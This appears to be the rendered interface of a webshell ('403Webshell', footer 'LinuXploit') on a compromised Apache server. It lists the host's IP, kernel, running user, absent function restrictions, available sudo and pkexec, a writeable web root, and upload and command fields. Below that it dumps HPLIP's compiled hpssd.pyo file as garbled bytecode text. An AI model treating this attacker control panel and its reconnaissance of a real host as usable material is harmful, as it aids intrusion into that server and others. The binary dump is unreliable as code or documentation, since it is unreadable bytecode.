403Webshell
Server IP : 182.53.201.61  /  Your IP : 216.73.217.175
Web Server : Apache/2.2.15 (Fedora)
System : Linux km10.dyndns.org 2.6.31.5-127.fc12.i686.PAE #1 SMP Sat Nov 7 21:25:57 EST 2009 i686
User : apache ( 48)
PHP Version : 5.3.3
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/hplip/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/hplip/hpssd.pyo
lJc@sydZdZdZdZddkZddkZddkZddkZddkZddk	Z	ddk
Z
ddkZddkl
Z
lZddkTddkTddklZlZlZlZyjdd	klZlZlZddkZdd
klZddklZlZl Z l!Z!l"Z"e#Z$Wn3e%j
o'e&i'de(Z$ei)d
nXddk*Z*e*i+de,dZ-d"\a/a0da1da2d#\a3a4a5hZ6de7fdYZ8dei9i:fdYZ;dZ<dZ=dZ>dZ?dZ@ddZAdZBddZCdZDddZEdZFdZGd ZHdddd!ZIdS($s12.0s9Services and Status System Tray dBus Child/Parent ProcessthpssdsProvides persistent data and event services to HPLIP client applications. Required to be running for PC send fax, optional in all other cases.iN(tloadstHIGHEST_PROTOCOL(t*(tutilstdevicetstatustmodels(tlowlevelt	SystemBust
SessionBus(t
DBusGMainLoop(tMainLoopttimeout_addtthreads_inittio_add_watchtIO_INsAdbus failed to load (python-dbus ver. 0.80+ required). Exiting...itignoreitDeviceCachecBseZddZRS(tcCsatiti|_ti||_h|_h|_	h|_
d|_d|_t
|_dS(Ni(Rt
RingBuffertpropthistory_sizethistoryRtnormalizeModelNametmodeltcachetfaxestdqtbackoff_countertbackoff_countdowntFalsetpolling(tselfR((s/usr/share/hplip/hpssd.pyt__init__Qs					(t__name__t
__module__R"(((s/usr/share/hplip/hpssd.pyRPst
StatusServicecBsUeZdZeiiddddddZeiiddddddZeiiddd	dd
dZeiiddddd
d
Z	eiiddddddZ
eiiddddddZeiiddd	ddddZdZ
eiiddddddZRS(cCstiii|||dS(N(tdbustservicetObjectR"(R!tnametobject_path((s/usr/share/hplip/hpssd.pyR"_sscom.hplip.StatusServicetin_signaturetst
out_signaturessa(ssisisd)c
Cstid|tyt|Wntj
o|gfSXt|ii}tidt|g}|D]}||iqv~|g}|D]}||iq~fSdS(NsGetHistory('%s')s%d events in history:(	tlogtdebugtsend_systray_bliptdevicestKeyErrorRtgettlentas_tuple(R!t
device_uritht_[1]txt_[2]((s/usr/share/hplip/hpssd.pyt
GetHistorycs%ssa{ss}cCstid|tyt|Wntj
o|hfSXh}t|i}g}|iD]#}||i|t||qe~ti|||fSdS(NsGetStatus('%s')(	R.R/R0R1R2Rtkeyst
setdefaulttstr(R!R6ttRR8R9((s/usr/share/hplip/hpssd.pyt	GetStatusss
;
tssiticCsGtid|||ft|tjo|t|i|<|SdS(Ns!SetCachedIntValue('%s', '%s', %d)i(R.R/tcheck_devicet
ERROR_SUCCESSR1R(R!R6tkeytvalue((s/usr/share/hplip/hpssd.pytSetCachedIntValues
tsscCsOyt|i|}Wntj
o
d}nXtid|||f|S(Nis$GetCachedIntValue('%s', '%s') --> %d(R1RR2R.R/(R!R6REtret((s/usr/share/hplip/hpssd.pytGetCachedIntValuestssscCsGtid|||ft|tjo|t|i|<|SdS(Ns#SetCachedStrValue('%s', '%s', '%s')R(R.R/RCRDR1R(R!R6RERF((s/usr/share/hplip/hpssd.pytSetCachedStrValues
cCsOyt|i|}Wntj
o
d}nXtid|||f|S(NRs$GetCachedStrValue('%s', '%s') --> %s(R1RR2R.R/(R!R6RERI((s/usr/share/hplip/hpssd.pytGetCachedStrValuestssisisdsicCstid|||ft|dd||dddf}t|t||oGyt|i||fWntj
o|SX|i|||SnJxBt|ii	D]-\}}||jo|i|||SqW|SdS(Ns"CheckForWaitingFax('%s', '%s', %d)Rig(
R.R/R0RCtshow_waiting_faxesR1RR2tcheck_for_waiting_fax_returnR<(R!R6tusernametjob_idtrtutj((s/usr/share/hplip/hpssd.pytCheckForWaitingFaxs 


cCsVtid||ft|i||fi}t|i||f=t||S(NsFFax (username=%s, jobid=%d) removed from faxes and returned to caller.(R.R/R1RR5RO(R!tdRTRURS((s/usr/share/hplip/hpssd.pyRPs

tssisisRcCs,ti||||||}t|dS(N(RtEventthandle_event(R!R6tprinter_namet
event_codeRQRRttitletevent((s/usr/share/hplip/hpssd.pyt	SendEvents(R#R$R"R&R'tmethodR;R@RGRJRLRMRVRPR_(((s/usr/share/hplip/hpssd.pyR%^s	'''
''
'
		c
Csyt|Wntj
o~tid|y.ti|\	}}}}}}}}}	Wn%tj
otid|tSXt|t|<nXt	S(NsNew device: %ssInvalid device URI: %s(
R1R2R.R/RtparseDeviceURItErrortERROR_INVALID_DEVICE_URIRRD(
R6tback_endtis_hptbusRtserialtdev_filethosttzctport((s/usr/share/hplip/hpssd.pyRCs.cCs|t|iii}|o@|di|ijo)tidt|iii|tSt|iii	|t
SdS(Nis*Duplicate event. Replacing previous event.(R1R6RR3R\R.R/treplacetTruetappendR(R^R((s/usr/share/hplip/hpssd.pytcreate_historys
c
	Cs
|itjo|itijotidd\}}ti|ti}d}xJt	oBti
|t}|pPnti|||t
|7}qYWtid||fti|ti|ti||t|ii|i|if<t|iytidtiWntj
onXtid|it	\}}|oti|tid}	|	oti i!|	d}	nti"ddStid	|	|ifti#ti$|	dd
|iq	tidnti%ddS(
Ntprefixshpfax-isSaved %d bytes to file %sis
hp-sendfax-%ss
hp-sendfaxs"Unable to find hp-sendfax on PATH.s#Running hp-sendfax: %s --printer=%ss--printer=%ss=hp-sendfax is running. Waiting for CheckForWaitingFax() call.sNot handled!(&R\tEVENT_FAX_RENDER_COMPLETERQRttempfiletmkstemptostopentO_RDONLYRmtreadtPIPE_BUFtwriteR4R.R/tcloseRtFaxEventR1R6RRRROtwaitpidtWNOHANGtOSErrorRtlock_appR[tunlocktwhichtpathtjointerrortspawnlptP_NOWAITtwarn(
R^t	pipe_nametfax_file_fdt
fax_file_nametpipet
bytes_readtdatatokt	lock_fileR((s/usr/share/hplip/hpssd.pythandle_fax_eventsF

,



cCst|i}t|ptid|not|djotid|ntidt||fg}|D]}|||iq~dS(NsNo faxes waiting for %sis1 fax waiting for %s:s%d faxes waiting for %s:(R1RR4R.R/(RWtfR8R9((s/usr/share/hplip/hpssd.pyRO1s

c	CsWtid|d\}}xtotitggtgd\}}}|pPntitt}|pPndi||g}|t	|7}||joPq q Wtid|||jot
|}t|it
jo[|it|i_tti|id|idttiddt|tqSndS(Ns#Reading %d bytes from hpdio pipe...iRgs
Read %d bytessstatus-code(iR(R.R/Rmtselecttr3RtRwRxRR4RRCR6RDtcopyR1RRZRRYR3tSTATUS_PRINTER_IDLERRQtsend_toolbox_eventtEVENT_DEVICE_UPDATE_REPLY(	R^t
bytes_writtent
total_readRRStwteR9R((s/usr/share/hplip/hpssd.pythandle_hpdio_event@s,'


"cCstid|djo
g}n|i|iot|itjodS|itjoti	|i|_n|it
jonBt
|ijo
tjno|ioqt|}|it
ttttfjoq,|ittttttttttttttfjoq,n|pt |nt!|t"nt#|ijo
t$jno5|o.tidt%|d}t&||n*|it'jot |n|it(jot |n|it)fjot*|n|it+t,fjot |n|it-jo!t.|d}t/||nx|it0jo9t*|t!|t |tidt1i2n/|itt
fjonti3d|idS(NsHandling event...s	Fax eventiitExitingsUnhandled event: %d(4R.R/tNoneR6RCRDR\tEVENT_MAX_EVENTRtMapPJLErrorCodetEVENT_MIN_USER_EVENTtEVENT_MAX_USER_EVENTRotEVENT_DEVICE_STOP_POLLINGtEVENT_START_MAINT_JOBtEVENT_START_COPY_JOBtEVENT_START_FAX_JOBtEVENT_START_PRINT_JOBtEVENT_DEVICE_START_POLLINGtEVENT_END_MAINT_JOBtEVENT_END_COPY_JOBtEVENT_END_FAX_JOBtEVENT_END_PRINT_JOBt!EVENT_PRINT_FAILED_MISSING_PLUGINtEVENT_SCANNER_FAILtEVENT_END_SCAN_JOBt EVENT_SCAN_FAILED_MISSING_PLUGINtEVENT_FAX_JOB_FAILtEVENT_FAX_JOB_CANCELEDtEVENT_FAX_FAILED_MISSING_PLUGINtEVENT_COPY_JOB_FAILtEVENT_COPY_JOB_CANCELEDtsend_event_to_systray_uiRtEVENT_HISTORY_UPDATEt
EVENT_FAX_MINt
EVENT_FAX_MAXR>Rt EVENT_USER_CONFIGURATION_CHANGEDtEVENT_SYS_CONFIGURATION_CHANGEDtEVENT_DEVICE_UPDATE_REQUESTEDtsend_event_to_hpdiotEVENT_DEVICE_UPDATE_ACTIVEtEVENT_DEVICE_UPDATE_INACTIVERtintRtEVENT_SYSTEMTRAY_EXITt	main_looptquitR(R^t	more_argst	dup_eventRR((s/usr/share/hplip/hpssd.pyRZ_s~



 !
	
	
(
	




	
cCsttiddtdS(NR(RRRYtEVENT_DEVICE_UPDATE_BLIP(((s/usr/share/hplip/hpssd.pyR0scCs:|i}|dj	o
||_n|itddS(Nt
systemtray(RRR\t
send_via_pipetw1(R^R\R((s/usr/share/hplip/hpssd.pyRs

cCs|itddS(Nthpdio(Rtw2(R^((s/usr/share/hplip/hpssd.pyRscCs:|i}|dj	o
||_n|itddS(Nscom.hplip.Toolbox(RRR\t
send_via_dbustsession_bus(R^R\R((s/usr/share/hplip/hpssd.pyRs

cOsK|ddjo6|ddjo%ti|d }t||dSdS(Nt	interfacescom.hplip.StatusServicetmemberRYi(RRYRZ(ttyptargstkwdsR^((s/usr/share/hplip/hpssd.pyt
handle_signalscOstd||S(Ntsystem(R(RR((s/usr/share/hplip/hpssd.pythandle_system_signalscOstd||S(Ntsession(R(RR((s/usr/share/hplip/hpssd.pythandle_session_signalscCstidtidti|||aaatdt	a
tayt
dt
aWn5tiij
o#}tidtidnXytiaWnftiij
oT}tidjotidtidqtid	tidnXtitd
ddd
ddddddtitd
ddd
ddddddtiidt}t|d}tidytiWn tj
otidnXdS(Nshp-systray(hpssd)sPID=%dtset_as_defaulttmainloops.Unable to connect to dbus system bus. Exiting.iis/Unable to connect to dbus session bus. Exiting.s8Unable to connect to dbus session bus (running as root?)tsender_keywordtsendertdestination_keywordtdesttinterface_keywordRtmember_keywordRtpath_keywordRscom.hplip.StatusServices/com/hplip/StatusServicesEntering main dbus loop...sCtrl-C: Exiting...( R.t
set_moduleR/RttgetpidRRRRRmt	dbus_loopRRR	t
system_busR&t
exceptionst
DBusExceptionRtsystexitR
Rtgetuidtadd_signal_receiverRRR'tBusNameR%truntKeyboardInterrupt(twrite_pipe1twrite_pipe2t
read_pipe3Rtsession_nametstatus_service((s/usr/share/hplip/hpssd.pyRs>
	





(NN(NNN(Jt__version__t	__title__t__mod__t__doc__RtstructRtttimetgetoptRtsignalRrtcPickleRRtbase.gt
base.codestbaseRRRRR&RR	R
tdbus.servicetdbus.mainloop.glibRtgobjectRR
RRRRmtdbus_loadedtImportErrorR.RRRtwarningstsimplefiltertDeprecationWarningRxRRRRRRRRR1tobjectRR'R(R%RCRoRRORRZR0RRRRRRR(((s/usr/share/hplip/hpssd.pyt<module>sf

"(

	{		
	:		m						

Youez - 2016 - github.com/yon3zu
LinuXploit